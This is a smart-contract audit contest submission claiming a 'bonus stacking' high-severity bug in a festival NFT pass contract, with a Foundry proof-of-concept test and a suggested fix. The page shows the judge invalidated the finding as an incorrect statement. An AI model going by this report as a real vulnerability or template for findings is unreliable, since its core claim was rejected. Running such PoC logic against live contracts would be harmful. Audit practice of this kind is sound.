Beatland Festival

AI First Flight #4
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

H-02: Multi-Pass Welcome Bonus Accumulation

Description:

The buyPass() function grants a welcome bonus in BEAT tokens for each pass purchased. There is no limit on the number of passes a user can buy, allowing unlimited bonus accumulation.

Attack Vector:

  1. User buys VIP_PASS (collectionId=2) → receives 5 BEAT bonus

  2. User buys BACKSTAGE_PASS (collectionId=3) → receives 15 BEAT bonus

  3. User can repeat: buy VIP_PASS again → receives another 5 BEAT bonus

  4. Total: 20+ BEAT from pass purchases alone

Risk + Impact:

  • Each VIP_PASS purchase: 5 BEAT

  • Each BACKSTAGE_PASS purchase: 15 BEAT

  • No upper bound on purchases

Root Cause:

No validation on repeat pass purchases (line 69-84).

Proof of Concept:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {FestivalPass} from "../src/FestivalPass.sol";
import {BeatToken} from "../src/BeatToken.sol";
contract POC_AllFindings is Test {
FestivalPass public festival;
BeatToken public beat;
address public owner;
address public organizer;
address public attacker;
address public user1;
address public user2;
uint256 constant GENERAL_PRICE = 0.05 ether;
uint256 constant VIP_PRICE = 0.1 ether;
uint256 constant BACKSTAGE_PRICE = 0.25 ether;
function setUp() public {
owner = address(this);
organizer = makeAddr("organizer");
attacker = makeAddr("attacker");
user1 = makeAddr("user1");
user2 = makeAddr("user2");
beat = new BeatToken();
festival = new FestivalPass(address(beat), organizer);
beat.setFestivalContract(address(festival));
vm.startPrank(organizer);
festival.configurePass(1, GENERAL_PRICE, 5000);
festival.configurePass(2, VIP_PRICE, 1000);
festival.configurePass(3, BACKSTAGE_PRICE, 100);
vm.stopPrank();
vm.deal(attacker, 100 ether);
vm.deal(user1, 100 ether);
vm.deal(user2, 100 ether);
}
function test_POC_H02_BonusStacking() public {
// Step 1: Buy VIP (5 BEAT bonus)
vm.prank(attacker);
festival.buyPass{value: VIP_PRICE}(2);
uint256 vipBonus = beat.balanceOf(attacker);
assertEq(vipBonus, 5e18, "VIP bonus should be 5 BEAT");
// Step 2: Buy BACKSTAGE (15 BEAT bonus)
vm.prank(attacker);
festival.buyPass{value: BACKSTAGE_PRICE}(3);
uint256 totalBonus = beat.balanceOf(attacker);
assertEq(totalBonus, 20e18, "Total bonus should be 20 BEAT (5 + 15)");
// Step 3: Verify multiplier is 3x (BACKSTAGE)
assertEq(festival.getMultiplier(attacker), 3);
// Step 4: Attend a performance to earn 3x rewards
vm.prank(organizer);
uint256 perfId = festival.createPerformance(block.timestamp + 1 hours, 2 hours, 100e18);
vm.warp(block.timestamp + 90 minutes);
vm.prank(attacker);
festival.attendPerformance(perfId);
// Final balance: 20 (bonus) + 300 (100 * 3x) = 320 BEAT
assertEq(beat.balanceOf(attacker), 320e18);
console.log("=== H-02: BONUS STACKING EXPLOIT ===");
console.log("Attacker got 20 BEAT welcome bonus (should be max 15)");
console.log("Extra 5 BEAT from VIP bonus stacking");
console.log("VULNERABILITY: No limit on pass purchases allows unlimited bonus accumulation");
}
function test_POC_H02_BonusComparison() public {
// Compare: buying all passes vs just BACKSTAGE
address buyerAll = makeAddr("buyerAll");
address buyerBS = makeAddr("buyerBS");
vm.deal(buyerAll, 10 ether);
vm.deal(buyerBS, 10 ether);
// Buyer A: buys all three passes
vm.startPrank(buyerAll);
festival.buyPass{value: GENERAL_PRICE}(1); // 0 BEAT
festival.buyPass{value: VIP_PRICE}(2); // 5 BEAT
festival.buyPass{value: BACKSTAGE_PRICE}(3); // 15 BEAT
vm.stopPrank();
// Buyer B: buys only BACKSTAGE
vm.prank(buyerBS);
festival.buyPass{value: BACKSTAGE_PRICE}(3); // 15 BEAT
uint256 bonusAll = beat.balanceOf(buyerAll); // 20 BEAT
uint256 bonusBS = beat.balanceOf(buyerBS); // 15 BEAT
console.log("=== H-02: BONUS COMPARISON ===");
console.log("Buyer A (all passes): bonus=", bonusAll / 1e18, "BEAT");
console.log("Buyer A cost:", (GENERAL_PRICE + VIP_PRICE + BACKSTAGE_PRICE) / 1e18, "ETH");
console.log("Buyer B (backstage only): bonus=", bonusBS / 1e18, "BEAT");
console.log("Buyer B cost:", BACKSTAGE_PRICE / 1e18, "ETH");
console.log("Extra bonus:", (bonusAll - bonusBS) / 1e18, "BEAT");
console.log("VULNERABILITY: Buying all passes gives 20 BEAT vs 15 BEAT for just BACKSTAGE");
}

Recommendation Mitigation:

Add validation: require(!hasPass(msg.sender, collectionId), "Already own this pass type");

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!